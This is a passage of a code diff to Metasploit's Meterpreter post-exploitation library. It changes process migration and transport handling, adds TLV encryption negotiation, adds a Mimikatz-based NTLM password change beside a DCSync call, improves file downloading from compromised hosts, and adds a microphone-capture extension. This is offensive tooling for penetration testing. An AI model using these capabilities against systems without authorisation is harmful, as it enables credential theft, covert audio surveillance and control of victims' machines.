-      end
-
-      pos = migrate_payload.index(DEFAULT_SOCK_PATH)
-
-      if pos.nil?
-        raise RuntimeError, 'The meterpreter binary is wrong', caller
-      end
-
-      migrate_payload[pos, socket_path.length + 1] = socket_path + "\x00"
-
-      ep = elf_ep(migrate_payload)
-      request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
-      request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
-      request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
-    end
-
-    request.add_tlv( TLV_TYPE_MIGRATE_PID, target_pid )
-    request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length )
-    request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
-    request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length )
-    request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
+    request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
+    request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length)
+    request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
+    request.add_tlv(TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length)
+    request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
 
     if target_process['arch'] == ARCH_X64
       request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
@@ -542,13 +593,18 @@ class ClientCore < Extension
     # Send the migration request. Timeout can be specified by the caller, or set to a min
     # of 60 seconds.
     timeout = [(opts[:timeout] || 0), 60].max
-    client.send_request(request, timeout)
+    response = client.send_request(request, timeout)
+
+    # Post-migration the session doesn't have encryption any more.
+    # Set the TLV key to nil to make sure that the old key isn't used
+    # at all.
+    client.tlv_enc_key = nil
 
     if client.passive_service
       # Sleep for 5 seconds to allow the full handoff, this prevents
       # the original process from stealing our loadlib requests
       ::IO.select(nil, nil, nil, 5.0)
-    else
+    elsif client.pivot_session.nil?
       # Prevent new commands from being sent while we finish migrating
       client.comm_mutex.synchronize do
         # Disable the socket request monitor
@@ -558,28 +614,34 @@ class ClientCore < Extension
         # Now communicating with the new process
         ###
 
-        # If renegotiation takes longer than a minute, it's a pretty
-        # good bet that migration failed and the remote side is hung.
-        # Since we have the comm_mutex here, we *must* release it to
-        # keep from hanging the packet dispatcher thread, which results
-        # in blocking the entire process.
-        begin
-          Timeout.timeout(timeout) do
-            # Renegotiate SSL over this socket
-            client.swap_sock_ssl_to_plain()
-            client.swap_sock_plain_to_ssl()
+        # only renegotiate SSL if the session had support for it in the
+        # first place!
+        if client.supports_ssl?
+          # If renegotiation takes longer than a minute, it's a pretty
+          # good bet that migration failed and the remote side is hung.
+          # Since we have the comm_mutex here, we *must* release it to
+          # keep from hanging the packet dispatcher thread, which results
+          # in blocking the entire process.
+          begin
+            Timeout.timeout(timeout) do
+              # Renegotiate SSL over this socket
+              client.swap_sock_ssl_to_plain()
+              client.swap_sock_plain_to_ssl()
+            end
+          rescue TimeoutError
+            client.alive = false
+            return false
           end
-        rescue TimeoutError
-          client.alive = false
-          return false
         end
 
         # Restart the socket monitor
         client.monitor_socket
-
       end
     end
 
+    # Renegotiate TLV encryption on the migrated session
+    client.tlv_enc_key = negotiate_tlv_encryption
+
     # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
     client.ext.aliases.keys.each { |e|
       client.core.use(e)
@@ -614,19 +676,55 @@ class ClientCore < Extension
   # Indicates if the given transport is a valid transport option.
   #
   def valid_transport?(transport)
-    if transport
-      VALID_TRANSPORTS.has_key?(transport.downcase)
-    else
-      false
+    return false if transport.nil?
+    VALID_TRANSPORTS.include?(transport.downcase)
+  end
+
+  #
+  # Negotiates the use of encryption at the TLV level
+  #
+  def negotiate_tlv_encryption
+    sym_key = nil
+    rsa_key = OpenSSL::PKey::RSA.new(2048)
+    rsa_pub_key = rsa_key.public_key
+
+    request  = Packet.create_request('core_negotiate_tlv_encryption')
+    request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_pem)
+
+    begin
+      response = client.send_request(request)
+      key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
+      key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)
+
+      if key_enc
+        sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
+      else
+        sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)
+      end
+    rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError
+      # 1) OpenSSL error may be due to padding issues (or something else)
+      # 2) Request error probably means the request isn't supported, so fallback to plain
     end
+
+    {
+      key:  sym_key,
+      type: key_type
+    }
   end
 
 private
 
+  #
+  # Get a reference to the currently active transport.
+  #
   def get_current_transport
     transport_list[:transports][0]
   end
 
+  #
+  # Generate a migrate stub that is specific to the current transport type and the
+  # target process.
+  #
   def generate_migrate_stub(target_process)
     stub = nil
 
@@ -640,6 +738,8 @@ private
         case t[:url]
         when /^tcp/i
           c.include(::Msf::Payload::Windows::MigrateTcp)
+        when /^pipe/i
+          c.include(::Msf::Payload::Windows::MigrateNamedPipe)
         when /^http/i
           # Covers HTTP and HTTPS
           c.include(::Msf::Payload::Windows::MigrateHttp)
@@ -649,6 +749,8 @@ private
         case t[:url]
         when /^tcp/i
           c.include(::Msf::Payload::Windows::MigrateTcp_x64)
+        when /^pipe/i
+          c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)
         when /^http/i
           # Covers HTTP and HTTPS
           c.include(::Msf::Payload::Windows::MigrateHttp_x64)
@@ -663,6 +765,10 @@ private
     stub
   end
 
+  #
+  # Helper function to prepare a transport request that will be sent to the
+  # attached session.
+  #
   def transport_prepare_request(method, opts={})
     unless valid_transport?(opts[:transport]) && opts[:lport]
       return nil
@@ -675,11 +781,11 @@ private
       opts[:lhost] = nil
     end
 
-    transport = VALID_TRANSPORTS[opts[:transport]]
+    transport = opts[:transport].downcase
 
     request = Packet.create_request(method)
 
-    scheme = opts[:transport].split('_')[1]
+    scheme = transport.split('_')[1]
     url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
 
     if opts[:luri] && opts[:luri].length > 0
@@ -709,7 +815,7 @@ private
     end
 
     # do more magic work for http(s) payloads
-    unless opts[:transport].ends_with?('tcp')
+    unless transport.ends_with?('tcp')
       if opts[:uri]
         url << '/' unless opts[:uri].start_with?('/')
         url << opts[:uri]
@@ -723,7 +829,7 @@ private
       opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
       request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
 
-      if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
+      if transport == 'reverse_https' && opts[:cert]
         hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
         request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
       end
@@ -747,23 +853,12 @@ private
     request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
     request.add_tlv(TLV_TYPE_TRANS_URL, url)
 
-    return request
-  end
-
-
-  def generate_migrate_payload(target_process)
-    case client.platform
-    when 'windows'
-      blob = generate_migrate_windows_payload(target_process)
-    when 'linux'
-      blob = generate_migrate_linux_payload
-    else
-      raise RuntimeError, "Unsupported platform '#{client.platform}'"
-    end
-
-    blob
+    request
   end
 
+  #
+  # Create a full Windows-specific migration payload specific to the target process.
+  #
   def generate_migrate_windows_payload(target_process)
     c = Class.new( ::Msf::Payload )
     c.include( ::Msf::Payload::Stager )
@@ -783,26 +878,19 @@ private
     migrate_stager.stage_meterpreter
   end
 
-  def generate_migrate_linux_payload
-    MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
-  end
-
-  def elf_ep(payload)
-    elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
-    ep = elf.elf_header.e_entry
-    return ep
-  end
-
-  def tmp_folder
-    tmp = client.sys.config.getenv('TMPDIR')
-
-    if tmp.to_s.strip.empty?
-      tmp = '/tmp'
+  #
+  # Create a full migration payload specific to the target process.
+  #
+  def generate_migrate_payload(target_process)
+    case client.platform
+    when 'windows'
+      blob = generate_migrate_windows_payload(target_process)
+    else
+      raise RuntimeError, "Unsupported platform '#{client.platform}'"
     end
 
-    tmp
+    blob
   end
-
 end
 
 end; end; end
diff --git a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb
index 57b51b469a..f3847a9957 100644
--- a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb
+++ b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb
@@ -53,6 +53,42 @@ class Kiwi < Extension
     output[output.index("\n") + 1, output.length]
   end
 
+  def password_change(opts)
+    cmd = "lsadump::changentlm /user:#{opts[:user]}"
+    cmd << " /server:#{opts[:server]}" if opts[:server]
+    cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]
+    cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]
+    cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]
+    cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]
+
+    output = exec_cmd("\"#{cmd}\"")
+    result = {}
+
+    if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m
+      result[:old] = $1
+    end
+    if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m
+      result[:new] = $1
+    end
+
+    if output =~ /^ERROR/m
+      result[:success] = false
+      if output =~ /^ERROR.*SamConnect/m
+        result[:error] = 'Invalid server.'
+      elsif output =~ /^ERROR.*Bad old/m
+        result[:error] = 'Invalid old password or hash.'
+      elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
+        result[:error] = 'Invalid user.'
+      else
+        result[:error] = 'Unknown error.'
+      end
+    else
+      result[:success] = true
+    end
+
+    result
+  end
+
   def dcsync(domain_user)
     exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
   end
@@ -271,11 +307,18 @@ class Kiwi < Extension
       # did we find something?
       next if line.blank?
 
-      # the next 4 lines should be interesting
       msv = {}
-      4.times do
-        k, v = read_value(lines.shift)
-        msv[k.strip] = v if k
+      # loop until we find a line that doesn't start with
+      # an asterisk, as this is the next credential set
+      loop do
+        line = lines.shift
+        if line.strip.start_with?('*')
+          k, v = read_value(line)
+          msv[k.strip] = v if k
+        else
+          lines.unshift(line)
+          break
+        end
       end
 
       if msv.length > 0
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb
index eb2550ef9b..607a030bb4 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb
@@ -195,19 +195,15 @@ class Dir < Rex::Post::Dir
   # Downloads the contents of a remote directory a
   # local directory, optionally in a recursive fashion.
   #
-  def Dir.download(dst, src, opts, force = true, glob = nil, &stat)
-    recursive = false
-    continue = false
-    tries = false
-    tries_no = 0
+  def Dir.download(dst, src, opts = {}, force = true, glob = nil, &stat)
     tries_cnt = 0
-    if opts
-      timestamp = opts["timestamp"]
-      recursive = true if opts["recursive"]
-      continue = true if opts["continue"]
-      tries = true if opts["tries"]
-      tries_no = opts["tries_no"]
-    end
+
+    continue =  opts["continue"]
+    recursive = opts["recursive"]
+    timestamp = opts["timestamp"]
+    tries_no = opts["tries_no"] || 0
+    tries = opts["tries"]
+
     begin
       dir_files = self.entries(src, glob)
     rescue Rex::TimeoutError
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb
index 32eab353db..5c23bda8a2 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb
@@ -7,6 +7,7 @@ require 'rex/post/meterpreter/extensions/stdapi/stdapi'
 require 'rex/post/meterpreter/extensions/stdapi/fs/io'
 require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat'
 require 'fileutils'
+require 'filesize'
 
 module Rex
 module Post
@@ -25,6 +26,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
 
   include Rex::Post::File
 
+  MIN_BLOCK_SIZE = 1024
+
   class << self
     attr_accessor :client
   end
@@ -298,8 +301,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
   # If a block is given, it will be called before each file is downloaded and
   # again when each download is complete.
   #
-  def File.download(dest, src_files, opts = nil, &stat)
-    timestamp = opts["timestamp"] if opts
+  def File.download(dest, src_files, opts = {}, &stat)
+    timestamp = opts["timestamp"]
     [*src_files].each { |src|
       if (::File.basename(dest) != File.basename(src))
         # The destination when downloading is a local file so use this
@@ -312,7 +315,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
         dest += timestamp
       end
 
-      stat.call('downloading', src, dest) if (stat)
+      stat.call('Downloading', src, dest) if (stat)
       result = download_file(dest, src, opts, &stat)
       stat.call(result, src, dest) if (stat)
     }
@@ -321,15 +324,15 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
   #
   # Download a single file.
   #
-  def File.download_file(dest_file, src_file, opts = nil, &stat)
-    continue=false
-    tries=false
-    tries_no=0
-    if opts
-      continue = true if opts["continue"]
-      tries = true if opts["tries"]
-      tries_no = opts["tries_no"]
-    end
+  def File.download_file(dest_file, src_file, opts = {}, &stat)
+    stat ||= lambda { |a,b,c| }
+
+    adaptive = opts["adaptive"]
+    block_size = opts["block_size"] || 1024 * 1024
+    continue = opts["continue"]
+    tries_no = opts["tries_no"]
+    tries = opts["tries"]
+
     src_fd = client.fs.file.new(src_file, "rb")
 
     # Check for changes
@@ -346,6 +349,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
     dir = ::File.dirname(dest_file)
     ::FileUtils.mkdir_p(dir) if dir and not ::File.directory?(dir)
 
+    src_size = Filesize.new(src_stat.size).pretty
+
     if continue
       # continue downloading the file - skip downloaded part in the source
       dst_fd = ::File.new(dest_file, "ab")
@@ -353,10 +358,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
         dst_fd.seek(0, ::IO::SEEK_END)
         in_pos = dst_fd.pos
         src_fd.seek(in_pos)
-        stat.call('continuing from ', in_pos, src_file) if (stat)
+        stat.call("Continuing from #{Filesize.new(in_pos).pretty} of #{src_size}", src_file, dest_file)
       rescue
         # if we can't seek, download again
-        stat.call('error continuing - downloading from scratch', src_file, dest_file) if (stat)
+        stat.call('Error continuing - downloading from scratch', src_file, dest_file)
         dst_fd.close
         dst_fd = ::File.new(dest_file, "wb")
       end
@@ -369,6 +374,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
       if tries
         # resume when timeouts encountered
         seek_back = false
+        adjust_block = false
         tries_cnt = 0
         begin # while
           begin # exception
@@ -376,30 +382,46 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
               in_pos = dst_fd.pos
               src_fd.seek(in_pos)
               seek_back = false
-              stat.call('resuming at ', in_pos, src_file) if (stat)
+              stat.call("Resuming at #{Filesize.new(in_pos).pretty} of #{src_size}", src_file, dest_file)
             else
               # succesfully read and wrote - reset the counter
               tries_cnt = 0
             end
-            data = src_fd.read
+            adjust_block = true
+            data = src_fd.read(block_size)
+            adjust_block = false
           rescue Rex::TimeoutError
             # timeout encountered - either seek back and retry or quit
             if (tries && (tries_no == 0 || tries_cnt < tries_no))
               tries_cnt += 1
               seek_back = true
-              stat.call('error downloading - retry #', tries_cnt, src_file) if (stat)
+              # try a smaller block size for the next round
+              if adaptive && adjust_block
+                block_size = [block_size >> 1, MIN_BLOCK_SIZE].max
+                adjust_block = false
+                msg = "Error downloading, block size set to #{block_size} - retry # #{tries_cnt}"
+                stat.call(msg, src_file, dest_file)
+              else
+                stat.call("Error downloading - retry # #{tries_cnt}", src_file, dest_file)
+              end
               retry
             else
-              stat.call('error downloading - giving up', src_file, dest_file) if (stat)
+              stat.call('Error downloading - giving up', src_file, dest_file)
               raise
             end
           end
           dst_fd.write(data) if (data != nil)
+          percent = dst_fd.pos.to_f / src_stat.size.to_f * 100.0
+          msg = "Downloaded #{Filesize.new(dst_fd.pos).pretty} of #{src_size} (#{percent.round(2)}%)"
+          stat.call(msg, src_file, dest_file)
         end while (data != nil)
       else
         # do the simple copying quiting on the first error
-        while ((data = src_fd.read) != nil)
+        while ((data = src_fd.read(block_size)) != nil)
           dst_fd.write(data)
+          percent = dst_fd.pos.to_f / src_stat.size.to_f * 100.0
+          msg = "Downloaded #{Filesize.new(dst_fd.pos).pretty} of #{src_size} (#{percent.round(2)}%)"
+          stat.call(msg, src_file, dest_file)
         end
       end
     rescue EOFError
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb b/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb
new file mode 100644
index 0000000000..234074e3fa
--- /dev/null
+++ b/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb
@@ -0,0 +1,62 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/channel'
+require 'rex/post/meterpreter/channels/pools/stream_pool'
+
+module Rex
+  module Post
+    module Meterpreter
+      module Extensions
+        module Stdapi
+          module Mic
+
+            ###
+            #
+            # This meterpreter extension can list and capture from microphone
+            #
+            ###
+            class Mic
+              def initialize(client)
+                @client = client
+              end
+
+              def session
+                @client
+              end
+
+              # List available microphones
+              def mic_list
+                response = client.send_request(Packet.create_request('audio_mic_list'))
+                names = []
+                if response.result == 0
+                  response.get_tlvs(TLV_TYPE_AUDIO_INTERFACE_NAME).each do |tlv|
+                    names << tlv.value
+                  end
+                end
+                names
+              end
+
+              # Starts recording audio from microphone
+              def mic_start(device_id)
+                request = Packet.create_request('audio_mic_start')
+                request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_ID, device_id)
+                response = client.send_request(request)
+                return nil unless response.result == 0
+
+                channel = Channel.create(client, 'audio_mic', Rex::Post::Meterpreter::Channels::Pools::StreamPool, CHANNEL_FLAG_SYNCHRONOUS)
+              end
+
+              # Stop recording from microphone
+              def mic_stop
+                client.send_request(Packet.create_request('audio_mic_stop'))
+                true
+              end
+
+              attr_accessor :client
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/api_constants.rb
index cca236513e..d11495d74b 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/api_constants.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/api_constants.rb
@@ -31,122 +31,122 @@ class DefApiConstants_linux < ApiConstants
     const_mgr.add_const('PROT_GROWSDOWN', 0x01000000)
     const_mgr.add_const('PROT_GROWSUP',   0x02000000)
 
-    const_mgr.add_const("PF_UNSPEC",         0x00000000)
-    const_mgr.add_const("PF_LOCAL",          0x00000001)
-    const_mgr.add_const("PF_UNIX",           0x00000000)
-    const_mgr.add_const("PF_FILE",           0x00000000)
-    const_mgr.add_const("PF_INET",           0x00000002)
-    const_mgr.add_const("PF_AX25",           0x00000003)
-    const_mgr.add_const("PF_IPX",            0x00000004)
-    const_mgr.add_const("PF_APPLETALK",      0x00000005)
-    const_mgr.add_const("PF_NETROM",         0x00000006)
-    const_mgr.add_const("PF_BRIDGE",         0x00000007)
-    const_mgr.add_const("PF_ATMPVC",         0x00000008)
-    const_mgr.add_const("PF_X25",            0x00000009)
-    const_mgr.add_const("PF_INET6",          0x0000000a)
-    const_mgr.add_const("PF_ROSE",           0x0000000b)
-    const_mgr.add_const("PF_DECnet",         0x0000000c)
-    const_mgr.add_const("PF_NETBEUI",        0x0000000d)
-    const_mgr.add_const("PF_SECURITY",       0x0000000e)
-    const_mgr.add_const("PF_KEY",            0x0000000f)
-    const_mgr.add_const("PF_NETLINK",        0x00000010)
-    const_mgr.add_const("PF_ROUTE",          0x00000000)
-    const_mgr.add_const("PF_PACKET",         0x00000011)
-    const_mgr.add_const("PF_ASH",            0x00000012)
-    const_mgr.add_const("PF_ECONET",         0x00000013)
-    const_mgr.add_const("PF_ATMSVC",         0x00000014)
-    const_mgr.add_const("PF_RDS",            0x00000015)
-    const_mgr.add_const("PF_SNA",            0x00000016)
-    const_mgr.add_const("PF_IRDA",           0x00000017)
-    const_mgr.add_const("PF_PPPOX",          0x00000018)
-    const_mgr.add_const("PF_WANPIPE",        0x00000019)
-    const_mgr.add_const("PF_LLC",            0x0000001a)
-    const_mgr.add_const("PF_IB",             0x0000001b)
-    const_mgr.add_const("PF_MPLS",           0x0000001c)
-    const_mgr.add_const("PF_CAN",            0x0000001d)
-    const_mgr.add_const("PF_TIPC",           0x0000001e)
-    const_mgr.add_const("PF_BLUETOOTH",      0x0000001f)
-    const_mgr.add_const("PF_IUCV",           0x00000020)
-    const_mgr.add_const("PF_RXRPC",          0x00000021)
-    const_mgr.add_const("PF_ISDN",           0x00000022)
-    const_mgr.add_const("PF_PHONET",         0x00000023)
-    const_mgr.add_const("PF_IEEE802154",     0x00000024)
-    const_mgr.add_const("PF_CAIF",           0x00000025)
-    const_mgr.add_const("PF_ALG",            0x00000026)
-    const_mgr.add_const("PF_NFC",            0x00000027)
-    const_mgr.add_const("PF_VSOCK",          0x00000028)
-    const_mgr.add_const("PF_KCM",            0x00000029)
-    const_mgr.add_const("PF_MAX",            0x0000002a)
+    const_mgr.add_const('PF_UNSPEC',         0x00000000)
+    const_mgr.add_const('PF_LOCAL',          0x00000001)
+    const_mgr.add_const('PF_UNIX',           0x00000000)
+    const_mgr.add_const('PF_FILE',           0x00000000)
+    const_mgr.add_const('PF_INET',           0x00000002)
+    const_mgr.add_const('PF_AX25',           0x00000003)
+    const_mgr.add_const('PF_IPX',            0x00000004)
+    const_mgr.add_const('PF_APPLETALK',      0x00000005)
+    const_mgr.add_const('PF_NETROM',         0x00000006)
+    const_mgr.add_const('PF_BRIDGE',         0x00000007)
+    const_mgr.add_const('PF_ATMPVC',         0x00000008)
+    const_mgr.add_const('PF_X25',            0x00000009)
+    const_mgr.add_const('PF_INET6',          0x0000000a)
+    const_mgr.add_const('PF_ROSE',           0x0000000b)
+    const_mgr.add_const('PF_DECnet',         0x0000000c)
+    const_mgr.add_const('PF_NETBEUI',        0x0000000d)
+    const_mgr.add_const('PF_SECURITY',       0x0000000e)
+    const_mgr.add_const('PF_KEY',            0x0000000f)
+    const_mgr.add_const('PF_NETLINK',        0x00000010)
+    const_mgr.add_const('PF_ROUTE',          0x00000000)
+    const_mgr.add_const('PF_PACKET',         0x00000011)
+    const_mgr.add_const('PF_ASH',            0x00000012)
+    const_mgr.add_const('PF_ECONET',         0x00000013)
+    const_mgr.add_const('PF_ATMSVC',         0x00000014)
+    const_mgr.add_const('PF_RDS',            0x00000015)
+    const_mgr.add_const('PF_SNA',            0x00000016)
+    const_mgr.add_const('PF_IRDA',           0x00000017)
+    const_mgr.add_const('PF_PPPOX',          0x00000018)
+    const_mgr.add_const('PF_WANPIPE',        0x00000019)
+    const_mgr.add_const('PF_LLC',            0x0000001a)
+    const_mgr.add_const('PF_IB',             0x0000001b)
+    const_mgr.add_const('PF_MPLS',           0x0000001c)
+    const_mgr.add_const('PF_CAN',            0x0000001d)
+    const_mgr.add_const('PF_TIPC',           0x0000001e)
+    const_mgr.add_const('PF_BLUETOOTH',      0x0000001f)
+    const_mgr.add_const('PF_IUCV',           0x00000020)
+    const_mgr.add_const('PF_RXRPC',          0x00000021)
+    const_mgr.add_const('PF_ISDN',           0x00000022)
+    const_mgr.add_const('PF_PHONET',         0x00000023)
+    const_mgr.add_const('PF_IEEE802154',     0x00000024)
+    const_mgr.add_const('PF_CAIF',           0x00000025)
+    const_mgr.add_const('PF_ALG',            0x00000026)
+    const_mgr.add_const('PF_NFC',            0x00000027)
+    const_mgr.add_const('PF_VSOCK',          0x00000028)
+    const_mgr.add_const('PF_KCM',            0x00000029)
+    const_mgr.add_const('PF_MAX',            0x0000002a)
 
-    const_mgr.add_const("AF_UNSPEC",         0x00000000)
-    const_mgr.add_const("AF_LOCAL",          0x00000001)
-    const_mgr.add_const("AF_UNIX",           0x00000000)
-    const_mgr.add_const("AF_FILE",           0x00000000)
-    const_mgr.add_const("AF_INET",           0x00000002)
-    const_mgr.add_const("AF_AX25",           0x00000003)
-    const_mgr.add_const("AF_IPX",            0x00000004)
-    const_mgr.add_const("AF_APPLETALK",      0x00000005)
-    const_mgr.add_const("AF_NETROM",         0x00000006)
-    const_mgr.add_const("AF_BRIDGE",         0x00000007)
-    const_mgr.add_const("AF_ATMPVC",         0x00000008)
-    const_mgr.add_const("AF_X25",            0x00000009)
-    const_mgr.add_const("AF_INET6",          0x0000000a)
-    const_mgr.add_const("AF_ROSE",           0x0000000b)
-    const_mgr.add_const("AF_DECnet",         0x0000000c)
-    const_mgr.add_const("AF_NETBEUI",        0x0000000d)
-    const_mgr.add_const("AF_SECURITY",       0x0000000e)
-    const_mgr.add_const("AF_KEY",            0x0000000f)
-    const_mgr.add_const("AF_NETLINK",        0x00000010)
-    const_mgr.add_const("AF_ROUTE",          0x00000000)
-    const_mgr.add_const("AF_PACKET",         0x00000011)
-    const_mgr.add_const("AF_ASH",            0x00000012)
-    const_mgr.add_const("AF_ECONET",         0x00000013)
-    const_mgr.add_const("AF_ATMSVC",         0x00000014)
-    const_mgr.add_const("AF_RDS",            0x00000015)
-    const_mgr.add_const("AF_SNA",            0x00000016)
-    const_mgr.add_const("AF_IRDA",           0x00000017)
-    const_mgr.add_const("AF_PPPOX",          0x00000018)
-    const_mgr.add_const("AF_WANPIPE",        0x00000019)
-    const_mgr.add_const("AF_LLC",            0x0000001a)
-    const_mgr.add_const("AF_IB",             0x0000001b)
-    const_mgr.add_const("AF_MPLS",           0x0000001c)
-    const_mgr.add_const("AF_CAN",            0x0000001d)
-    const_mgr.add_const("AF_TIPC",           0x0000001e)
-    const_mgr.add_const("AF_BLUETOOTH",      0x0000001f)
-    const_mgr.add_const("AF_IUCV",           0x00000020)
-    const_mgr.add_const("AF_RXRPC",          0x00000021)
-    const_mgr.add_const("AF_ISDN",           0x00000022)
-    const_mgr.add_const("AF_PHONET",         0x00000023)
-    const_mgr.add_const("AF_IEEE802154",     0x00000024)
-    const_mgr.add_const("AF_CAIF",           0x00000025)
-    const_mgr.add_const("AF_ALG",            0x00000026)
-    const_mgr.add_const("AF_NFC",            0x00000027)
-    const_mgr.add_const("AF_VSOCK",          0x00000028)
-    const_mgr.add_const("AF_KCM",            0x00000029)
-    const_mgr.add_const("AF_MAX",            0x0000002a)
+    const_mgr.add_const('AF_UNSPEC',         0x00000000)
+    const_mgr.add_const('AF_LOCAL',          0x00000001)
+    const_mgr.add_const('AF_UNIX',           0x00000000)
+    const_mgr.add_const('AF_FILE',           0x00000000)
+    const_mgr.add_const('AF_INET',           0x00000002)
+    const_mgr.add_const('AF_AX25',           0x00000003)
+    const_mgr.add_const('AF_IPX',            0x00000004)
+    const_mgr.add_const('AF_APPLETALK',      0x00000005)
+    const_mgr.add_const('AF_NETROM',         0x00000006)
+    const_mgr.add_const('AF_BRIDGE',         0x00000007)
+    const_mgr.add_const('AF_ATMPVC',         0x00000008)
+    const_mgr.add_const('AF_X25',            0x00000009)
+    const_mgr.add_const('AF_INET6',          0x0000000a)
+    const_mgr.add_const('AF_ROSE',           0x0000000b)
+    const_mgr.add_const('AF_DECnet',         0x0000000c)
+    const_mgr.add_const('AF_NETBEUI',        0x0000000d)
+    const_mgr.add_const('AF_SECURITY',       0x0000000e)
+    const_mgr.add_const('AF_KEY',            0x0000000f)
+    const_mgr.add_const('AF_NETLINK',        0x00000010)
+    const_mgr.add_const('AF_ROUTE',          0x00000000)
+    const_mgr.add_const('AF_PACKET',         0x00000011)
+    const_mgr.add_const('AF_ASH',            0x00000012)
+    const_mgr.add_const('AF_ECONET',         0x00000013)
+    const_mgr.add_const('AF_ATMSVC',         0x00000014)
+    const_mgr.add_const('AF_RDS',            0x00000015)
+    const_mgr.add_const('AF_SNA',            0x00000016)
+    const_mgr.add_const('AF_IRDA',           0x00000017)
+    const_mgr.add_const('AF_PPPOX',          0x00000018)
+    const_mgr.add_const('AF_WANPIPE',        0x00000019)
+    const_mgr.add_const('AF_LLC',            0x0000001a)
+    const_mgr.add_const('AF_IB',             0x0000001b)
+    const_mgr.add_const('AF_MPLS',           0x0000001c)
+    const_mgr.add_const('AF_CAN',            0x0000001d)
+    const_mgr.add_const('AF_TIPC',           0x0000001e)
+    const_mgr.add_const('AF_BLUETOOTH',      0x0000001f)
+    const_mgr.add_const('AF_IUCV',           0x00000020)
+    const_mgr.add_const('AF_RXRPC',          0x00000021)
+    const_mgr.add_const('AF_ISDN',           0x00000022)
+    const_mgr.add_const('AF_PHONET',         0x00000023)
+    const_mgr.add_const('AF_IEEE802154',     0x00000024)
+    const_mgr.add_const('AF_CAIF',           0x00000025)
+    const_mgr.add_const('AF_ALG',            0x00000026)
+    const_mgr.add_const('AF_NFC',            0x00000027)
+    const_mgr.add_const('AF_VSOCK',          0x00000028)
+    const_mgr.add_const('AF_KCM',            0x00000029)
+    const_mgr.add_const('AF_MAX',            0x0000002a)
 
-    const_mgr.add_const("SOL_RAW",           0x000000ff)
